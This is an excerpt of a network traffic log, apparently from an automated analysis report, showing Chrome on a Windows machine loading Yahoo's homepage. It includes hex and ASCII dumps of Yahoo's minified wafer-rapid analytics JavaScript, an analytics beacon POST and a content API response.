2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 28 6e 2c 21 30 29 7d 7d 63 61 74 63 68 28 65 29 7b 72 3d 21 30 2c 61 3d 65 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 21 74 26 26 73 2e 72 65 74 75 72 6e 26 26 73 2e 72 65 74 75 72 6e 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 72 29 74 68 72 6f 77 20 61 7d 7d 7d 7d 2c 7b 6b 65 79 3a 22 5f 61 64 64 42 6f 75 6e 64 61 72 79 53 75 63 63 65 73 73 43 6c 61 73 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 77 66 2d 62 6f 75 6e 64 61 72 79 22 29 2c 72 3d 74 26 26 62 28 65 2c 74 29 3b 72 26 26 28 72 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 69 6d 61 67 65 2d 62 6f 75 6e 64 61 72 79 2d 73 75 63 63 65 73 73 22 29 2c 72 2e 63 6c 61 73 73 4c 69 73 74 2e Data Ascii: (n,!0)}}catch(e){r=!0,a=e}finally{try{!t&&s.return&&s.return()}finally{if(r)throw a}}}},{key:"_addBoundarySuccessClass",value:function(e){var t=e.getAttribute("data-wf-boundary"),r=t&&b(e,t);r&&(r.classList.add("wafer-image-boundary-success"),r.classList.
2024-04-27 22:41:52 UTC	1177	IN	Data Raw: 22 65 72 72 6f 72 22 2c 6d 29 2c 77 28 74 2c 22 6c 6f 61 64 22 2c 61 29 7d 3b 79 28 74 2c 22 65 72 72 6f 72 22 2c 6d 29 2c 79 28 74 2c 22 6c 6f 61 64 22 2c 76 29 2c 6e 28 74 2c 73 2c 69 29 7d 7d 2c 7b 6b 65 79 3a 22 5f 61 64 64 44 61 72 6b 6d 6f 64 65 41 74 74 72 69 62 75 74 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2c 72 3d 74 2e 64 61 72 6b 53 72 63 2c 61 3d 74 2e 64 61 72 6b 53 72 63 73 65 74 3b 28 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 72 29 7c 7c 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 61 29 7c 7c 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 68 2b 22 64 61 72 6b 6d 6f 64 65 2d 66 61 6c 6c 62 61 63 6b 2d 73 72 63 22 29 29 26 26 65 2e 73 65 74 41 74 74 72 69 62 75 Data Ascii: "error",m),w(t,"load",a)};y(t,"error",m),y(t,"load",v),n(t,s,i)}},{key:"_addDarkmodeAttribute",value:function(e){var t=this._options,r=t.darkSrc,a=t.darkSrcset;(e.getAttribute(r)\|\|e.getAttribute(a)\|\|e.getAttribute(h+"darkmode-fallback-src"))&&e.setAttribu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49831	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	539	OUT	GET /aaq/wf/wf-rapid-1.10.8-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:52 UTC	840	IN	HTTP/1.1 200 OK x-amz-id-2: V9KAjQcyTeaPzz2/r5890Sznvj0YEV01MweFa759Xzim7c2TK0m7ovu8bEzdQd/1A5oUlbjBxVSErgl011bGSw== x-amz-request-id: DF9NT9QYKYBQMN7R Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Thu, 16 Nov 2023 07:51:34 GMT ETag: "ea64a20375abf74f7191d89062a7d4f4" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: Q69wD21Xmgx79j1lWnoee6Lougj4LC2V Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 12647 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 725 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 72 61 70 69 64 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 72 61 70 69 64 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-rapid",[],t):"object"==typeof exports?exports["wafer-rapid"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 Data Ascii: totype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a f
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 72 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 6e 29 26 26 28 65 5b 6e 5d 3d 72 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 76 61 72 20 72 3d 5b 5d 2c 6e 3d 21 30 2c 69 3d 21 31 2c 61 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 6f 2c 73 3d 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 6e 3d 28 6f 3d 73 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 72 2e 70 75 73 68 28 6f 2e 76 61 6c 75 65 29 2c 21 74 7c 7c 72 2e 6c 65 6e 67 74 Data Ascii: ngth;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},g=function(){function e(e,t){var r=[],n=!0,i=!1,a=void 0;try{for(var o,s=e[Symbol.iterator]();!(n=(o=s.next()).done)&&(r.push(o.value),!t\|\|r.lengt
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 72 2d 6f 66 66 73 65 74 22 29 7c 7c 22 22 29 2e 73 70 6c 69 74 28 22 20 22 29 2c 63 3d 67 28 6c 2c 32 29 2c 75 3d 63 5b 30 5d 2c 66 3d 63 5b 31 5d 2c 64 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 49 2b 22 72 61 70 69 64 2d 74 72 69 67 67 65 72 2d 69 6e 74 65 72 76 61 6c 22 29 3b 22 63 6c 69 63 6b 22 21 3d 3d 73 26 26 22 65 61 63 68 43 6c 69 63 6b 22 21 3d 3d 73 7c 7c 65 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 68 61 73 2d 72 61 70 69 64 2d 63 6c 69 63 6b 22 2c 22 68 61 73 2d 77 61 66 65 72 2d 63 6c 69 63 6b 22 29 3b 76 61 72 20 70 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 49 2b 22 72 61 70 69 64 2d 6d 65 74 68 6f 64 22 29 2c 68 3d 28 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 49 2b 22 72 61 70 69 64 2d 6e 61 6d 65 22 29 7c 7c 22 22 29 Data Ascii: r-offset")\|\|"").split(" "),c=g(l,2),u=c[0],f=c[1],d=e.getAttribute(I+"rapid-trigger-interval");"click"!==s&&"eachClick"!==s\|\|e.classList.add("has-rapid-click","has-wafer-click");var p=e.getAttribute(I+"rapid-method"),h=(e.getAttribute(I+"rapid-name")\|\|"")
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6c 2e 65 6c 65 6d 3b 62 2e 65 6d 69 74 4c 6f 67 28 7b 6e 61 6d 65 3a 22 57 61 66 65 72 52 61 70 69 64 22 2c 65 6c 65 6d 3a 63 2c 6d 65 74 61 3a 7b 69 31 33 6e 3a 6c 2c 6e 61 6d 65 3a 73 2c 74 79 70 65 3a 22 62 65 61 63 6f 6e 45 76 65 6e 74 22 7d 7d 29 2c 22 69 6e 74 65 6e 74 69 6f 6e 61 6c 56 69 65 77 22 3d 3d 3d 69 3f 65 2e 62 65 61 63 6f 6e 45 76 65 6e 74 28 22 69 6e 74 65 6e 74 69 6f 6e 61 6c 20 76 69 65 77 22 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 6c 2c 7b 6c 6c 33 3a 73 7d 29 29 3a 65 2e 62 65 61 63 6f 6e 45 76 65 6e 74 28 73 2c 6c 29 7d 65 6c 73 65 20 69 66 28 22 62 65 61 63 6f 6e 4c 69 6e 6b 56 69 65 77 73 22 3d 3d 3d 61 29 65 2e 62 65 61 63 6f 6e 4c 69 6e 6b 56 69 65 77 73 28 5b 76 28 7b 7d 2c 6c 2c 7b 5f 6c 69 6e 6b 73 3a 5b 6c 5d Data Ascii: l.elem;b.emitLog({name:"WaferRapid",elem:c,meta:{i13n:l,name:s,type:"beaconEvent"}}),"intentionalView"===i?e.beaconEvent("intentional view",Object.assign({},l,{ll3:s})):e.beaconEvent(s,l)}else if("beaconLinkViews"===a)e.beaconLinkViews([v({},l,{_links:[l]
2024-04-27 22:41:52 UTC	274	IN	Data Raw: 69 64 2d 63 6c 69 63 6b 22 29 26 26 74 68 69 73 2e 5f 62 65 61 63 6f 6e 54 72 69 67 67 65 72 28 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 52 61 70 69 64 4d 6f 75 73 65 45 6e 74 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 65 64 7c 7c 28 56 28 74 68 69 73 2e 5f 73 74 61 74 65 2e 6d 6f 75 73 65 45 6e 74 65 72 54 69 6d 65 6f 75 74 2c 74 68 69 73 29 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 6d 6f 75 73 65 45 6e 74 65 72 54 69 6d 65 6f 75 74 3d 6a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 5f 62 65 61 63 6f 6e 54 72 69 67 67 65 72 28 29 7d 2c 31 30 30 2c 74 68 69 73 29 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 52 61 70 69 64 4d 6f 75 73 65 4c 65 61 76 65 22 2c 76 Data Ascii: id-click")&&this._beaconTrigger()}},{key:"handleRapidMouseEnter",value:function(){var e=this;this._destroyed\|\|(V(this._state.mouseEnterTimeout,this),this._state.mouseEnterTimeout=j(function(){e._beaconTrigger()},100,this))}},{key:"handleRapidMouseLeave",v
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 73 2e 5f 64 65 73 74 72 6f 79 65 64 7c 7c 56 28 74 68 69 73 2e 5f 73 74 61 74 65 2e 6d 6f 75 73 65 45 6e 74 65 72 54 69 6d 65 6f 75 74 2c 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 63 6f 6e 66 69 67 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 74 72 69 67 67 65 72 3a 74 68 69 73 2e 5f 75 74 69 6c 2e 74 72 69 67 67 65 72 7d 7d 7d 5d 29 2c 74 7d 28 6b 29 3b 43 2e 65 76 65 6e 74 73 3d 7b 63 6c 69 63 6b 3a 5b 5b 22 68 61 73 2d 72 61 70 69 64 2d 63 6c 69 63 6b 22 2c 22 68 61 6e 64 6c 65 43 6c 69 63 6b 22 5d 5d 2c 6d 6f 75 73 65 65 6e 74 65 72 3a 5b 5b 22 5f 73 65 6c 66 22 2c 22 68 61 6e 64 6c 65 52 61 70 69 64 4d 6f 75 73 65 45 6e 74 65 72 22 5d 5d 2c 6d 6f 75 73 65 6c 65 61 76 65 3a 5b 5b 22 5f 73 65 6c 66 22 2c 22 68 61 6e 64 6c 65 Data Ascii: s._destroyed\|\|V(this._state.mouseEnterTimeout,this)}},{key:"config",get:function(){return{trigger:this._util.trigger}}}]),t}(k);C.events={click:[["has-rapid-click","handleClick"]],mouseenter:[["_self","handleRapidMouseEnter"]],mouseleave:[["_self","handle
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 20 69 29 72 65 74 75 72 6e 20 69 2e 76 61 6c 75 65 3b 76 61 72 20 6f 3d 69 2e 67 65 74 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6f 29 72 65 74 75 72 6e 20 6f 2e 63 61 6c 6c 28 6e 29 7d 2c 53 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 62 61 73 65 2c 57 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 63 6f 6e 74 72 6f 6c 6c 65 72 73 2e 57 61 66 65 72 42 61 73 65 43 6f 6e 74 72 6f 6c 6c 65 72 2c 4e 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 75 74 69 6c 73 2c 59 3d 4e 2e 63 6f 6e 76 65 72 74 4e 6f 64 65 4c 69 73 74 54 6f 41 72 72 61 79 2c 44 3d 4e 2e 65 6c 65 6d 65 6e 74 49 6e 56 69 65 77 2c 58 3d 4e 2e 67 65 74 44 61 74 61 59 6c 6b 2c 42 3d 4e 2e 74 68 72 6f 74 74 6c 65 2c 46 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2c 72 3d 76 6f 69 64 Data Ascii: i)return i.value;var o=i.get;if(void 0!==o)return o.call(n)},S=window.wafer.base,W=window.wafer.controllers.WaferBaseController,N=window.wafer.utils,Y=N.convertNodeListToArray,D=N.elementInView,X=N.getDataYlk,B=N.throttle,F=function(e){for(var t=e,r=void
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 7b 72 6f 6f 74 3a 6e 2c 73 65 6c 65 63 74 6f 72 3a 61 2c 70 72 6f 70 73 3a 7b 73 65 6c 65 63 74 6f 72 3a 61 7d 2c 57 61 66 65 72 43 6c 61 73 73 3a 41 7d 29 29 3b 72 65 74 75 72 6e 20 70 28 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 77 66 2d 72 61 70 69 64 22 29 7c 7c 22 72 61 70 69 64 49 6e 73 74 61 6e 63 65 22 29 2e 73 70 6c 69 74 28 22 2e 22 29 29 2c 75 2e 5f 73 74 61 74 65 3d 4d 28 7b 7d 2c 75 2e 5f 73 74 61 74 65 2c 7b 64 69 64 53 63 72 6f 6c 6c 3a 21 31 2c 65 6c 65 6d 65 6e 74 57 69 74 68 49 6e 74 65 6e 74 69 6f 6e 61 6c 56 69 65 77 65 64 49 6e 73 74 61 6e 63 65 73 Data Ascii: oto__\|\|Object.getPrototypeOf(t)).call(this,{root:n,selector:a,props:{selector:a},WaferClass:A}));return p((document.body.getAttribute("data-wf-rapid")\|\|"rapidInstance").split(".")),u._state=M({},u._state,{didScroll:!1,elementWithIntentionalViewedInstances
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 68 61 6e 67 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 21 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 7c 7c 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2c 74 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e 65 6c 65 6d 65 6e 74 49 6e 73 74 61 6e 63 65 73 2c 72 3d 21 30 2c 6e 3d 21 31 2c 69 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 61 2c 6f 3d 74 2e 65 6e 74 72 69 65 73 28 29 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 72 3d 28 61 3d 6f 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 3b 72 3d 21 30 29 7b 76 61 72 20 73 3d 61 2e 76 61 6c 75 65 2c 6c 3d 4c 28 73 2c 32 29 2c 63 3d 6c 5b 31 5d 2c 75 3d 63 2e 69 6e 73 74 61 6e Data Ascii: hange",value:function(){var e=!(arguments.length>0&&void 0!==arguments[0])\|\|arguments[0],t=this._state.elementInstances,r=!0,n=!1,i=void 0;try{for(var a,o=t.entries()[Symbol.iterator]();!(r=(a=o.next()).done);r=!0){var s=a.value,l=L(s,2),c=l[1],u=c.instan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49828	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	1125	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=2023538075&yhlCT=2&yhlBTMS=1714257710616&yhlClientVer=3.54.1&yhlRnd=b1pEbcE2nT0yOqXO&yhlCompressed=0 HTTP/1.1 Host: udc.yahoo.com Connection: keep-alive Content-Length: 14367 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-04-27 22:41:52 UTC	14367	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 25 37 42 25 32 32 62 70 25 32 32 25 33 41 25 37 42 25 32 32 5f 61 31 73 25 32 32 25 33 41 25 32 32 64 25 33 44 41 51 41 42 42 43 70 5f 4c 57 59 43 45 4c 66 55 59 56 63 52 69 62 4e 70 30 4e 33 36 4d 70 4a 54 61 47 4d 46 45 67 45 42 41 51 48 51 4c 6d 59 33 5a 74 77 76 30 69 4d 41 5f 65 4d 41 41 41 25 32 36 53 25 33 44 41 51 41 41 41 68 59 30 5a 73 53 4f 66 56 32 56 77 38 62 55 65 76 53 5f 4a 2d 73 25 32 32 25 32 43 25 32 32 5f 70 6c 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 41 5f 76 25 32 32 25 33 41 25 32 32 33 2e 35 34 2e 31 25 32 32 25 32 43 25 32 32 41 5f 63 6e 25 32 32 25 33 41 25 32 32 41 4e 41 4c 59 54 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_a1s%22%3A%22d%3DAQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA%26S%3DAQAAAhY0ZsSOfV2Vw8bUevS_J-s%22%2C%22_pl%22%3A%221%22%2C%22A_v%22%3A%223.54.1%22%2C%22A_cn%22%3A%22ANALYT
2024-04-27 22:41:52 UTC	591	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.yahoo.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 2 date: Sat, 27 Apr 2024 22:41:52 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49833	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	1935	OUT	GET /caas/content/article/?uuid=99ec3df7-bf20-382a-9567-4240d7a85639,1d8f0ccd-1e4a-4558-81b8-7a3f9ddb44e8,55689e67-d5f8-30ea-8394-04902959b16f,a78cb2ab-498a-3f34-85ea-fa9feb4c02de,fd248489-9443-4693-9a9f-1c2336eb0e64,0056d40c-adda-3e16-82e7-435111b2ce12,2bf7856d-e1c9-3e74-9cdd-f9756173199a,36e16f65-51ee-3a9e-9d88-5adf2e3b7907,f0f95b59-a002-3ce2-a2f9-69bfafbf114c,dde82b60-8c41-344d-a437-7422cb916f0b&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModa [TRUNCATED] Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-04-27 22:41:52 UTC	1268	IN	HTTP/1.1 200 OK x-powered-by: Express access-control-allow-credentials: true access-control-allow-methods: GET, OPTIONS access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept content-type: application/json; charset=utf-8 content-length: 465016 etag: W/"71878-2B76REiucgH9j6RHx5jo0fE74DM" vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:52 GMT x-envoy-upstream-service-time: 150 server: ATS Age: 0 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=4p9o605j2qvpg&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Referrer-Policy: no-referrer-when-downgrade Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 7b 22 69 74 65 6d 73 22 3a 5b 7b 22 64 61 74 61 22 3a 7b 22 70 61 72 74 6e 65 72 44 61 74 61 22 3a 7b 22 61 64 4d 65 74 61 22 3a 7b 22 68 61 73 68 74 61 67 22 3a 22 67 6f 76 65 72 6e 6d 65 6e 74 3b 74 72 61 6e 73 70 6f 72 74 61 74 69 6f 6e 22 2c 22 69 73 53 75 70 70 6c 79 53 65 67 6d 65 6e 74 22 3a 22 66 61 6c 73 65 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 72 73 22 3a 22 6c 6d 73 69 64 3a 61 30 61 36 54 30 30 30 30 30 52 32 4b 58 47 51 41 33 3b 72 65 76 73 70 3a 63 6e 6e 5f 61 72 74 69 63 6c 65 73 5f 38 37 35 3b 6c 70 73 74 61 69 64 3a 39 39 65 63 33 64 66 37 2d 62 66 32 30 2d 33 38 32 61 2d 39 35 36 37 2d 34 32 34 30 64 37 61 38 35 36 33 39 3b 70 74 3a 63 6f 6e 74 65 6e 74 3b 70 64 3a 6d 6f 64 61 6c Data Ascii: {"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"government;transportation","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0a6T00000R2KXGQA3;revsp:cnn_articles_875;lpstaid:99ec3df7-bf20-382a-9567-4240d7a85639;pt:content;pd:modal
